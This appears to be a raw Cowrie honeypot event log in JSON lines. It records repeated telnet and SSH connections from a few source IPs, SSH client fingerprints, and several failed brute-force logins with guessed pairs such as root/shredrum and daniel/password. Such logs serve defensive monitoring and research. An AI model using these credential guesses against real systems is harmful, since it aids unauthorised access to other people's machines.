{"eventid":"cowrie.login.failed","username":"root","password":"shredrum","message":"login attempt [root/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:50.358861Z","src_ip":"193.32.162.145","session":"fa4d29d355a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:51.460980Z","src_ip":"193.32.162.145","session":"fa4d29d355a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.476271152496338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:53.096815Z","src_ip":"192.119.13.58","session":"cee29648f8e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53726,"dst_ip":"10.17.0.5","dst_port":23,"session":"3434c3cadf39","protocol":"telnet","message":"New connection: 192.119.13.58:53726 (10.17.0.5:23) [session: 3434c3cadf39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:56.880888Z"}
{"eventid":"cowrie.session.closed","duration":42.8296263217926,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:57.575715Z","src_ip":"192.119.13.58","session":"cc82b82d8e38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40886,"dst_ip":"10.17.0.5","dst_port":23,"session":"23de102c5b32","protocol":"telnet","message":"New connection: 192.119.13.58:40886 (10.17.0.5:23) [session: 23de102c5b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:00.807486Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47978,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba7eb9f2bbda","protocol":"telnet","message":"New connection: 192.119.13.58:47978 (10.17.0.5:23) [session: ba7eb9f2bbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:02.494971Z"}
{"eventid":"cowrie.session.closed","duration":45.46392107009888,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:02.974850Z","src_ip":"192.119.13.58","session":"de7669ec3770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.361538887023926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:05.217679Z","src_ip":"192.119.13.58","session":"ec702452ed5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34596,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9a234b4161","protocol":"telnet","message":"New connection: 192.119.13.58:34596 (10.17.0.5:23) [session: 4c9a234b4161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:06.040992Z"}
{"eventid":"cowrie.session.closed","duration":38.56541061401367,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:11.629424Z","src_ip":"192.119.13.58","session":"ade9710626e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.08172917366028,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:14.015549Z","src_ip":"192.119.13.58","session":"4d1aac5858c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.033194065093994,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:14.545480Z","src_ip":"192.119.13.58","session":"fc863bb74158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.09256839752197,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:18.256851Z","src_ip":"192.119.13.58","session":"60e185c2e82c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53324,"dst_ip":"10.17.0.5","dst_port":23,"session":"082a998b04f0","protocol":"telnet","message":"New connection: 192.119.13.58:53324 (10.17.0.5:23) [session: 082a998b04f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:24.268481Z"}
{"eventid":"cowrie.session.closed","duration":42.00755286216736,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:27.261783Z","src_ip":"192.119.13.58","session":"72faf77ad521","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.726435899734497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:27.607204Z","src_ip":"192.119.13.58","session":"3434c3cadf39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40974,"dst_ip":"10.17.0.5","dst_port":23,"session":"19069160eb33","protocol":"telnet","message":"New connection: 192.119.13.58:40974 (10.17.0.5:23) [session: 19069160eb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:28.159393Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38418,"dst_ip":"10.17.0.5","dst_port":23,"session":"475012ad15d2","protocol":"telnet","message":"New connection: 192.119.13.58:38418 (10.17.0.5:23) [session: 475012ad15d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:28.531603Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49788,"dst_ip":"10.17.0.5","dst_port":23,"session":"db33535b6d12","protocol":"telnet","message":"New connection: 192.119.13.58:49788 (10.17.0.5:23) [session: db33535b6d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:30.317132Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":12468,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d85d17ba3db","protocol":"ssh","message":"New connection: 122.51.73.24:12468 (10.17.0.5:22) [session: 8d85d17ba3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:32.871544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:32.878957Z","src_ip":"122.51.73.24","session":"8d85d17ba3db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36634,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2cd33f0ae7","protocol":"telnet","message":"New connection: 192.119.13.58:36634 (10.17.0.5:23) [session: 8b2cd33f0ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:33.929650Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:33.974403Z","src_ip":"122.51.73.24","session":"8d85d17ba3db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"password","message":"login attempt [daniel/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:34.692992Z","src_ip":"122.51.73.24","session":"8d85d17ba3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:35.937339Z","src_ip":"122.51.73.24","session":"8d85d17ba3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.471864223480225,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:42.512751Z","src_ip":"192.119.13.58","session":"4c9a234b4161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":52768,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1fe1b5ca1cf","protocol":"ssh","message":"New connection: 175.118.127.138:52768 (10.17.0.5:22) [session: f1fe1b5ca1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:42.813273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:42.818841Z","src_ip":"175.118.127.138","session":"f1fe1b5ca1cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:42.996576Z","src_ip":"175.118.127.138","session":"f1fe1b5ca1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48522,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a6a557a459","protocol":"telnet","message":"New connection: 192.119.13.58:48522 (10.17.0.5:23) [session: f4a6a557a459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:43.645021Z"}
{"eventid":"cowrie.login.failed","username":"ram","password":"ram","message":"login attempt [ram/ram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:43.736288Z","src_ip":"175.118.127.138","session":"f1fe1b5ca1cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.262004375457764,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:44.069372Z","src_ip":"192.119.13.58","session":"23de102c5b32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:44.917594Z","src_ip":"175.118.127.138","session":"f1fe1b5ca1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57112,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8adaf319b01","protocol":"telnet","message":"New connection: 192.119.13.58:57112 (10.17.0.5:23) [session: c8adaf319b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:45.653732Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38360,"dst_ip":"10.17.0.5","dst_port":23,"session":"370ffe9c43ea","protocol":"telnet","message":"New connection: 192.119.13.58:38360 (10.17.0.5:23) [session: 370ffe9c43ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:47.801843Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42088,"dst_ip":"10.17.0.5","dst_port":23,"session":"04e34bb47c52","protocol":"telnet","message":"New connection: 192.119.13.58:42088 (10.17.0.5:23) [session: 04e34bb47c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:48.744384Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46608,"dst_ip":"10.17.0.5","dst_port":23,"session":"0556a805b564","protocol":"telnet","message":"New connection: 192.119.13.58:46608 (10.17.0.5:23) [session: 0556a805b564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:49.881945Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48460,"dst_ip":"10.17.0.5","dst_port":23,"session":"079dd77df63c","protocol":"telnet","message":"New connection: 192.119.13.58:48460 (10.17.0.5:23) [session: 079dd77df63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:50.322717Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54376,"dst_ip":"10.17.0.5","dst_port":23,"session":"57bcb2f0ecc8","protocol":"telnet","message":"New connection: 192.119.13.58:54376 (10.17.0.5:23) [session: 57bcb2f0ecc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:51.806080Z"}
{"eventid":"cowrie.session.closed","duration":50.15186429023743,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:52.646675Z","src_ip":"192.119.13.58","session":"ba7eb9f2bbda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51590,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b1ae1ea9157","protocol":"telnet","message":"New connection: 192.119.13.58:51590 (10.17.0.5:23) [session: 7b1ae1ea9157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:57.714891Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54952,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8a17c87f841","protocol":"telnet","message":"New connection: 192.119.13.58:54952 (10.17.0.5:23) [session: d8a17c87f841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:20:58.552907Z"}
{"eventid":"cowrie.session.closed","duration":37.17496633529663,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:01.443324Z","src_ip":"192.119.13.58","session":"082a998b04f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.74686861038208,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:04.063869Z","src_ip":"192.119.13.58","session":"db33535b6d12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49664,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ab1d213f41e","protocol":"telnet","message":"New connection: 192.119.13.58:49664 (10.17.0.5:23) [session: 9ab1d213f41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:04.178334Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53490,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e898795d98","protocol":"telnet","message":"New connection: 192.119.13.58:53490 (10.17.0.5:23) [session: b0e898795d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:05.234992Z"}
{"eventid":"cowrie.session.closed","duration":32.0883686542511,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:06.017875Z","src_ip":"192.119.13.58","session":"8b2cd33f0ae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.92516374588013,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:08.456644Z","src_ip":"192.119.13.58","session":"475012ad15d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.02194285392761,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:09.181236Z","src_ip":"192.119.13.58","session":"19069160eb33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41760,"dst_ip":"10.17.0.5","dst_port":23,"session":"944ba3eb0f5a","protocol":"telnet","message":"New connection: 192.119.13.58:41760 (10.17.0.5:23) [session: 944ba3eb0f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:09.801322Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51210,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3271874bdb","protocol":"telnet","message":"New connection: 192.119.13.58:51210 (10.17.0.5:23) [session: ea3271874bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:11.803265Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55122,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a9a0b3109e","protocol":"telnet","message":"New connection: 192.119.13.58:55122 (10.17.0.5:23) [session: b9a9a0b3109e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:12.470193Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36608,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e14d17969bf","protocol":"telnet","message":"New connection: 192.119.13.58:36608 (10.17.0.5:23) [session: 6e14d17969bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:25.519926Z"}
{"eventid":"cowrie.session.closed","duration":38.42195534706116,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:28.744427Z","src_ip":"192.119.13.58","session":"079dd77df63c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4af81bed1e56","protocol":"telnet","message":"New connection: 192.119.13.58:58302 (10.17.0.5:23) [session: 4af81bed1e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:30.022156Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":55412,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a23ef95b513","protocol":"ssh","message":"New connection: 103.27.238.116:55412 (159.203.135.109:22) [session: 4a23ef95b513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:31.853742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:31.861743Z","src_ip":"103.27.238.116","session":"4a23ef95b513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:32.126055Z","src_ip":"103.27.238.116","session":"4a23ef95b513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":25954,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa1c5f34f1e","protocol":"ssh","message":"New connection: 122.51.73.24:25954 (10.17.0.5:22) [session: eaa1c5f34f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:32.134535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:32.139822Z","src_ip":"122.51.73.24","session":"eaa1c5f34f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:21:32.386876Z","src_ip":"122.51.73.24","session":"eaa1c5f34f1e","protocol":"ssh"}
